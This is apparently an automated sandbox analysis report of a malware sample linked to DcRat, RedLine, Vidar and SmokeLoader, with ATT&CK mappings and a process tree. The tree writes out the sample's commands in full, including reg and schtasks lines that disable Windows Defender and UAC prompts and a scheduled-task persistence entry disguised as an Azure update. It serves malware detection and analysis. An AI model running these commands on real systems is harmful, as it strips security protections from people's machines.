dcrat | 17fb5e033155ad2e4ab982cea691d9e2af6c93c4a59be6dcee3714b1a9ed46a5

Modify Existing Service

T1031

Disabling Security Tools

T1089

Processes:

reg.exereg.exereg.exereg.exereg.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe

Modifies security service 2 TTPs 1 IoCs
evasion

Modify Registry
T1112

Modify Existing Service
T1031

Processes:

reg.exe

description ioc process

Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\Start = "4" reg.exe
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\Start = "4"	reg.exe

RedLine payload 1 IoCs

Processes:

resource	yara_rule
behavioral1/memory/2164-277-0x0000000000400000-0x0000000000428000-memory.dmp	family_redline

SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1088

Disabling Security Tools

T1089

Modify Registry

Processes:

reg.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	reg.exe

Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar
Downloads MZ/PE file

Executes dropped EXE 12 IoCs

Processes:

C7DA.exeCB94.exeD78B.exeD8D5.exeC7DA.exeC7DA.exeC7DA.exebuild2.exebuild3.exebuild2.exeD8D5.exemstsca.exe

pid	process
3788	C7DA.exe
2360	CB94.exe
4584	D78B.exe
4948	D8D5.exe
4704	C7DA.exe
3580	C7DA.exe
3748	C7DA.exe
3500	build2.exe
5012	build3.exe
2660	build2.exe
2164	D8D5.exe
1836	mstsca.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

Processes:

D8D5.exeC7DA.exeC7DA.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	D8D5.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	C7DA.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	C7DA.exe

Loads dropped DLL 4 IoCs

Processes:

regsvr32.exebuild2.exe

pid process

4268 regsvr32.exe
4268 regsvr32.exe
2660 build2.exe
2660 build2.exe
Modifies file permissions 1 TTPs 1 IoCs
discovery

File and Directory Permissions Modification
T1222

Processes:

icacls.exe

pid process

4204 icacls.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses 2FA software files, possible credential harvesting 2 TTPs
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

pid	process
4268	regsvr32.exe
4268	regsvr32.exe
2660	build2.exe
2660	build2.exe

pid	process
4204	icacls.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

Processes:

explorer.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key opened	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key opened	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

Processes:

C7DA.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysHelper = "\"C:\\Users\\Admin\\AppData\\Local\\490587d7-0e12-4d5e-8d11-8feb2f9298e9\\C7DA.exe\" --AutoStart"	C7DA.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

46 api.2ip.ua
39 api.2ip.ua
40 api.2ip.ua

flow	ioc
46	api.2ip.ua
39	api.2ip.ua
40	api.2ip.ua

Suspicious use of SetThreadContext 4 IoCs

Processes:

C7DA.exeC7DA.exebuild2.exeD8D5.exe

description	pid	process	target process
PID 3788 set thread context of 4704	3788	C7DA.exe	C7DA.exe
PID 3580 set thread context of 3748	3580	C7DA.exe	C7DA.exe
PID 3500 set thread context of 2660	3500	build2.exe	build2.exe
PID 4948 set thread context of 2164	4948	D8D5.exe	D8D5.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

Processes:

17fb5e033155ad2e4ab982cea691d9e2af6c93c4a59be6dcee3714b1a9ed46a5.exe

description	ioc	process
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	17fb5e033155ad2e4ab982cea691d9e2af6c93c4a59be6dcee3714b1a9ed46a5.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	17fb5e033155ad2e4ab982cea691d9e2af6c93c4a59be6dcee3714b1a9ed46a5.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	17fb5e033155ad2e4ab982cea691d9e2af6c93c4a59be6dcee3714b1a9ed46a5.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

build2.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	build2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	build2.exe

Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exe

pid process

4540 schtasks.exe
2836 schtasks.exe

pid	process
4540	schtasks.exe
2836	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

17fb5e033155ad2e4ab982cea691d9e2af6c93c4a59be6dcee3714b1a9ed46a5.exe

pid	process
1256	17fb5e033155ad2e4ab982cea691d9e2af6c93c4a59be6dcee3714b1a9ed46a5.exe
1256	17fb5e033155ad2e4ab982cea691d9e2af6c93c4a59be6dcee3714b1a9ed46a5.exe
1084
1084
1084
1084
1084
1084
1084
1084
1084
1084
1084
1084
1084
1084
1084
1084
1084
1084
1084
1084
1084
1084
1084
1084
1084
1084
1084
1084
1084
1084
1084
1084
1084
1084
1084
1084
1084
1084
1084
1084
1084
1084
1084
1084
1084
1084
1084
1084
1084
1084
1084
1084
1084
1084
1084
1084
1084
1084
1084
1084
1084
1084

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

pid process

1084
Suspicious behavior: MapViewOfSection 5 IoCs

Processes:

17fb5e033155ad2e4ab982cea691d9e2af6c93c4a59be6dcee3714b1a9ed46a5.exe

pid process

1256 17fb5e033155ad2e4ab982cea691d9e2af6c93c4a59be6dcee3714b1a9ed46a5.exe
1084
1084
1084
1084

pid	process
1084

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

D8D5.exewmic.exepowershell.exeWMIC.exe

description	pid	process
Token: SeDebugPrivilege	4948	D8D5.exe
Token: SeIncreaseQuotaPrivilege	4708	wmic.exe
Token: SeSecurityPrivilege	4708	wmic.exe
Token: SeTakeOwnershipPrivilege	4708	wmic.exe
Token: SeLoadDriverPrivilege	4708	wmic.exe
Token: SeSystemProfilePrivilege	4708	wmic.exe
Token: SeSystemtimePrivilege	4708	wmic.exe
Token: SeProfSingleProcessPrivilege	4708	wmic.exe
Token: SeIncBasePriorityPrivilege	4708	wmic.exe
Token: SeCreatePagefilePrivilege	4708	wmic.exe
Token: SeBackupPrivilege	4708	wmic.exe
Token: SeRestorePrivilege	4708	wmic.exe
Token: SeShutdownPrivilege	4708	wmic.exe
Token: SeDebugPrivilege	4708	wmic.exe
Token: SeSystemEnvironmentPrivilege	4708	wmic.exe
Token: SeRemoteShutdownPrivilege	4708	wmic.exe
Token: SeUndockPrivilege	4708	wmic.exe
Token: SeManageVolumePrivilege	4708	wmic.exe
Token: 33	4708	wmic.exe
Token: 34	4708	wmic.exe
Token: 35	4708	wmic.exe
Token: 36	4708	wmic.exe
Token: SeIncreaseQuotaPrivilege	4708	wmic.exe
Token: SeSecurityPrivilege	4708	wmic.exe
Token: SeTakeOwnershipPrivilege	4708	wmic.exe
Token: SeLoadDriverPrivilege	4708	wmic.exe
Token: SeSystemProfilePrivilege	4708	wmic.exe
Token: SeSystemtimePrivilege	4708	wmic.exe
Token: SeProfSingleProcessPrivilege	4708	wmic.exe
Token: SeIncBasePriorityPrivilege	4708	wmic.exe
Token: SeCreatePagefilePrivilege	4708	wmic.exe
Token: SeBackupPrivilege	4708	wmic.exe
Token: SeRestorePrivilege	4708	wmic.exe
Token: SeShutdownPrivilege	4708	wmic.exe
Token: SeDebugPrivilege	4708	wmic.exe
Token: SeSystemEnvironmentPrivilege	4708	wmic.exe
Token: SeRemoteShutdownPrivilege	4708	wmic.exe
Token: SeUndockPrivilege	4708	wmic.exe
Token: SeManageVolumePrivilege	4708	wmic.exe
Token: 33	4708	wmic.exe
Token: 34	4708	wmic.exe
Token: 35	4708	wmic.exe
Token: 36	4708	wmic.exe
Token: SeDebugPrivilege	4068	powershell.exe
Token: SeShutdownPrivilege	1084
Token: SeCreatePagefilePrivilege	1084
Token: SeShutdownPrivilege	1084
Token: SeCreatePagefilePrivilege	1084
Token: SeIncreaseQuotaPrivilege	4080	WMIC.exe
Token: SeSecurityPrivilege	4080	WMIC.exe
Token: SeTakeOwnershipPrivilege	4080	WMIC.exe
Token: SeLoadDriverPrivilege	4080	WMIC.exe
Token: SeSystemProfilePrivilege	4080	WMIC.exe
Token: SeSystemtimePrivilege	4080	WMIC.exe
Token: SeProfSingleProcessPrivilege	4080	WMIC.exe
Token: SeIncBasePriorityPrivilege	4080	WMIC.exe
Token: SeCreatePagefilePrivilege	4080	WMIC.exe
Token: SeBackupPrivilege	4080	WMIC.exe
Token: SeRestorePrivilege	4080	WMIC.exe
Token: SeShutdownPrivilege	4080	WMIC.exe
Token: SeDebugPrivilege	4080	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4080	WMIC.exe
Token: SeRemoteShutdownPrivilege	4080	WMIC.exe
Token: SeUndockPrivilege	4080	WMIC.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

regsvr32.exeCB94.exeD8D5.exeC7DA.execmd.execmd.exeC7DA.exeC7DA.exe

description	pid	process	target process
PID 1084 wrote to memory of 4148	1084		regsvr32.exe
PID 1084 wrote to memory of 4148	1084		regsvr32.exe
PID 4148 wrote to memory of 4268	4148	regsvr32.exe	regsvr32.exe
PID 4148 wrote to memory of 4268	4148	regsvr32.exe	regsvr32.exe
PID 4148 wrote to memory of 4268	4148	regsvr32.exe	regsvr32.exe
PID 1084 wrote to memory of 3788	1084		C7DA.exe
PID 1084 wrote to memory of 3788	1084		C7DA.exe
PID 1084 wrote to memory of 3788	1084		C7DA.exe
PID 1084 wrote to memory of 2360	1084		CB94.exe
PID 1084 wrote to memory of 2360	1084		CB94.exe
PID 1084 wrote to memory of 2360	1084		CB94.exe
PID 1084 wrote to memory of 4584	1084		D78B.exe
PID 1084 wrote to memory of 4584	1084		D78B.exe
PID 1084 wrote to memory of 4584	1084		D78B.exe
PID 1084 wrote to memory of 4948	1084		D8D5.exe
PID 1084 wrote to memory of 4948	1084		D8D5.exe
PID 1084 wrote to memory of 4948	1084		D8D5.exe
PID 1084 wrote to memory of 3548	1084		explorer.exe
PID 1084 wrote to memory of 3548	1084		explorer.exe
PID 1084 wrote to memory of 3548	1084		explorer.exe
PID 1084 wrote to memory of 3548	1084		explorer.exe
PID 1084 wrote to memory of 60	1084		explorer.exe
PID 1084 wrote to memory of 60	1084		explorer.exe
PID 1084 wrote to memory of 60	1084		explorer.exe
PID 2360 wrote to memory of 4708	2360	CB94.exe	wmic.exe
PID 2360 wrote to memory of 4708	2360	CB94.exe	wmic.exe
PID 2360 wrote to memory of 4708	2360	CB94.exe	wmic.exe
PID 4948 wrote to memory of 4068	4948	D8D5.exe	powershell.exe
PID 4948 wrote to memory of 4068	4948	D8D5.exe	powershell.exe
PID 4948 wrote to memory of 4068	4948	D8D5.exe	powershell.exe
PID 3788 wrote to memory of 4704	3788	C7DA.exe	C7DA.exe
PID 3788 wrote to memory of 4704	3788	C7DA.exe	C7DA.exe
PID 3788 wrote to memory of 4704	3788	C7DA.exe	C7DA.exe
PID 3788 wrote to memory of 4704	3788	C7DA.exe	C7DA.exe
PID 3788 wrote to memory of 4704	3788	C7DA.exe	C7DA.exe
PID 3788 wrote to memory of 4704	3788	C7DA.exe	C7DA.exe
PID 3788 wrote to memory of 4704	3788	C7DA.exe	C7DA.exe
PID 3788 wrote to memory of 4704	3788	C7DA.exe	C7DA.exe
PID 3788 wrote to memory of 4704	3788	C7DA.exe	C7DA.exe
PID 3788 wrote to memory of 4704	3788	C7DA.exe	C7DA.exe
PID 2360 wrote to memory of 5088	2360	CB94.exe	cmd.exe
PID 2360 wrote to memory of 5088	2360	CB94.exe	cmd.exe
PID 2360 wrote to memory of 5088	2360	CB94.exe	cmd.exe
PID 5088 wrote to memory of 4080	5088	cmd.exe	WMIC.exe
PID 5088 wrote to memory of 4080	5088	cmd.exe	WMIC.exe
PID 5088 wrote to memory of 4080	5088	cmd.exe	WMIC.exe
PID 2360 wrote to memory of 3340	2360	CB94.exe	cmd.exe
PID 2360 wrote to memory of 3340	2360	CB94.exe	cmd.exe
PID 2360 wrote to memory of 3340	2360	CB94.exe	cmd.exe
PID 3340 wrote to memory of 4872	3340	cmd.exe	WMIC.exe
PID 3340 wrote to memory of 4872	3340	cmd.exe	WMIC.exe
PID 3340 wrote to memory of 4872	3340	cmd.exe	WMIC.exe
PID 4704 wrote to memory of 4204	4704	C7DA.exe	icacls.exe
PID 4704 wrote to memory of 4204	4704	C7DA.exe	icacls.exe
PID 4704 wrote to memory of 4204	4704	C7DA.exe	icacls.exe
PID 4704 wrote to memory of 3580	4704	C7DA.exe	C7DA.exe
PID 4704 wrote to memory of 3580	4704	C7DA.exe	C7DA.exe
PID 4704 wrote to memory of 3580	4704	C7DA.exe	C7DA.exe
PID 3580 wrote to memory of 3748	3580	C7DA.exe	C7DA.exe
PID 3580 wrote to memory of 3748	3580	C7DA.exe	C7DA.exe
PID 3580 wrote to memory of 3748	3580	C7DA.exe	C7DA.exe
PID 3580 wrote to memory of 3748	3580	C7DA.exe	C7DA.exe
PID 3580 wrote to memory of 3748	3580	C7DA.exe	C7DA.exe
PID 3580 wrote to memory of 3748	3580	C7DA.exe	C7DA.exe

outlook_office_path 1 IoCs

Processes:

explorer.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe

outlook_win_path 1 IoCs

Processes:

explorer.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe

C:\Users\Admin\AppData\Local\Temp\17fb5e033155ad2e4ab982cea691d9e2af6c93c4a59be6dcee3714b1a9ed46a5.exe
"C:\Users\Admin\AppData\Local\Temp\17fb5e033155ad2e4ab982cea691d9e2af6c93c4a59be6dcee3714b1a9ed46a5.exe"
1⤵
- DcRat
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:1256

C:\Windows\system32\regsvr32.exe
regsvr32 /s C:\Users\Admin\AppData\Local\Temp\C652.dll
1⤵
- Suspicious use of WriteProcessMemory
PID:4148
- C:\Windows\SysWOW64\regsvr32.exe
  /s C:\Users\Admin\AppData\Local\Temp\C652.dll
  2⤵
  - Loads dropped DLL
  PID:4268

C:\Users\Admin\AppData\Local\Temp\C7DA.exe
C:\Users\Admin\AppData\Local\Temp\C7DA.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:3788
- C:\Users\Admin\AppData\Local\Temp\C7DA.exe
  C:\Users\Admin\AppData\Local\Temp\C7DA.exe
  2⤵
  - DcRat
  - Executes dropped EXE
  - Checks computer location settings
  - Adds Run key to start application
  - Suspicious use of WriteProcessMemory
  PID:4704
- - C:\Windows\SysWOW64\icacls.exe
    icacls "C:\Users\Admin\AppData\Local\490587d7-0e12-4d5e-8d11-8feb2f9298e9" /deny *S-1-1-0:(OI)(CI)(DE,DC)
    3⤵
    - Modifies file permissions
    PID:4204
- - C:\Users\Admin\AppData\Local\Temp\C7DA.exe
    "C:\Users\Admin\AppData\Local\Temp\C7DA.exe" --Admin IsNotAutoStart IsNotTask
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Suspicious use of WriteProcessMemory
    PID:3580
  - - C:\Users\Admin\AppData\Local\Temp\C7DA.exe
      "C:\Users\Admin\AppData\Local\Temp\C7DA.exe" --Admin IsNotAutoStart IsNotTask
      4⤵
      Executes dropped EXE
      Checks computer location settings
      PID:3748
    - - C:\Users\Admin\AppData\Local\b248aedb-8166-4527-be62-49e884f64a44\build2.exe
        
        "C:\Users\Admin\AppData\Local\b248aedb-8166-4527-be62-49e884f64a44\build2.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:3500
      - C:\Users\Admin\AppData\Local\b248aedb-8166-4527-be62-49e884f64a44\build2.exe
        
        "C:\Users\Admin\AppData\Local\b248aedb-8166-4527-be62-49e884f64a44\build2.exe"
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        Checks processor information in registry
        
        PID:2660
    - - C:\Users\Admin\AppData\Local\b248aedb-8166-4527-be62-49e884f64a44\build3.exe
        
        "C:\Users\Admin\AppData\Local\b248aedb-8166-4527-be62-49e884f64a44\build3.exe"
        5⤵
        Executes dropped EXE
        
        PID:5012
      - C:\Windows\SysWOW64\schtasks.exe
        
        /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
        6⤵
        DcRat
        Creates scheduled task(s)
        
        PID:4540

C:\Users\Admin\AppData\Local\Temp\CB94.exe
C:\Users\Admin\AppData\Local\Temp\CB94.exe
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2360
- C:\Windows\SysWOW64\Wbem\wmic.exe
  wmic os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4708
- C:\Windows\SysWOW64\cmd.exe
  cmd /C "wmic path win32_VideoController get name"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5088
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    wmic path win32_VideoController get name
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4080
- C:\Windows\SysWOW64\cmd.exe
  cmd /C "wmic cpu get name"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3340
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    wmic cpu get name
    3⤵
    PID:4872

C:\Users\Admin\AppData\Local\Temp\D78B.exe
C:\Users\Admin\AppData\Local\Temp\D78B.exe
1⤵
- Executes dropped EXE
PID:4584

C:\Users\Admin\AppData\Local\Temp\D8D5.exe
C:\Users\Admin\AppData\Local\Temp\D8D5.exe
1⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4948
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAANQAwAA==
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4068
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Tqqcbghwdivfantidef.bat" "
  2⤵
  PID:3720
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows Defender\Features" /v "TamperProtection" /t REG_DWORD /d "0" /f
    3⤵
    PID:1952
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "ConsentPromptBehaviorAdmin" /t "REG_DWORD" /d 0 /f
    3⤵
    - UAC bypass
    PID:4532
- - C:\Windows\SysWOW64\reg.exe
    reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
    3⤵
    PID:3268
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
    3⤵
    PID:3248
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
    3⤵
    PID:5004
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
    3⤵
    PID:1940
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:5080
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:2904
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:1852
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:456
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:4036
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
    3⤵
    PID:4460
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
    3⤵
    PID:4184
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
    3⤵
    PID:3788
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f
    3⤵
    PID:4212
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
    3⤵
    PID:4732
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
    3⤵
    PID:4116
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
    3⤵
    PID:1196
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
    3⤵
    PID:3416
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
    3⤵
    PID:2392
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
    3⤵
    PID:1060
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
    3⤵
    PID:5040
- - C:\Windows\SysWOW64\reg.exe
    reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /f
    3⤵
    PID:3620
- - C:\Windows\SysWOW64\reg.exe
    reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f
    3⤵
    PID:2564
- - C:\Windows\SysWOW64\reg.exe
    reg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
    3⤵
    PID:4668
- - C:\Windows\SysWOW64\reg.exe
    reg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
    3⤵
    PID:4260
- - C:\Windows\SysWOW64\reg.exe
    reg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
    3⤵
    PID:4196
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    PID:4852
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    PID:976
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    PID:4544
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    PID:3900
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    - Modifies security service
    PID:2876
- C:\Users\Admin\AppData\Local\Temp\D8D5.exe
  C:\Users\Admin\AppData\Local\Temp\D8D5.exe
  2⤵
  - Executes dropped EXE
  PID:2164

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
- Accesses Microsoft Outlook profiles
- outlook_office_path
- outlook_win_path
PID:3548

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:60

C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
1⤵
- Executes dropped EXE
PID:1836
- C:\Windows\SysWOW64\schtasks.exe
  /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
  2⤵
  - DcRat
  - Creates scheduled task(s)
  PID:2836

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

